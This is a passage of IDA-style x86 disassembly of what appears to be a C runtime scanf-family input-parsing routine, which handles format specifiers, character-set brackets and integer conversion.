		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D0D4, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CEC8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D0D4, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CEC8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D0D8, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D0D8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D0D4, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CEC8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D0D4, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CEC8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D478
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D350
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D348


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CEC8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D0D4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D0D4, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CEC8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D0D4, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CEC8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D0D4, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CEC8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D0D4, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CEC8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CEC8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


